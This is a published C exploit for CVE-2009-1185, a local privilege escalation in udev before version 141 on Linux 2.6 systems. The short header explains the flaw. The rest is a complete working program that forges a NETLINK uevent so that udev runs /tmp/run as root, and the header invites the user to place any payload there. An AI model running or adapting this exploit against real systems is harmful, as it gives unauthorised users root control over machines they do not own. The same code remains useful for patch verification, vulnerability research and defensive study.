Linux Kernel 2.6 UDEV Privilege Escalation

                							

                /*
 * cve-2009-1185.c
 *
 * udev < 141 Local Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185
 *
 *   udev before 1.4.1 does not verify whether a NETLINK message originates 
 *   from kernel space, which allows local users to gain privileges by sending 
 *   a NETLINK message from user space.
 *
 * Notes:
 *   
 *   An alternate version of kcope's exploit.  This exploit leverages the 
 *   95-udev-late.rules functionality that is meant to run arbitrary commands 
 *   when a device is removed.  A bit cleaner and reliable as long as your 
 *   distro ships that rule file.  The exploit will execute /tmp/run as root 
 *   so throw whatever payload you want in there.
 *
 *   Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, 
 *   usually is the udevd PID minus 1) as argv[1].
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

int
main(int argc, char **argv)
{
  int sock;
  char *mp;
  char message[4096];
  struct msghdr msg;
  struct iovec iovector;
  struct sockaddr_nl address;

  memset(&address, 0, sizeof(address));
  address.nl_family = AF_NETLINK;
  address.nl_pid = atoi(argv[1]);
  address.nl_groups = 0;

  msg.msg_name = (void*)&address;
  msg.msg_namelen = sizeof(address);
  msg.msg_iov = &iovector;
  msg.msg_iovlen = 1;

  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &address, sizeof(address));

  mp = message;
  mp += sprintf(mp, "a@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;

  iovector.iov_base = (void*)message;
  iovector.iov_len = (int)(mp-message);

  sendmsg(sock, &msg, 0);

  close(sock);

  return 0;
}


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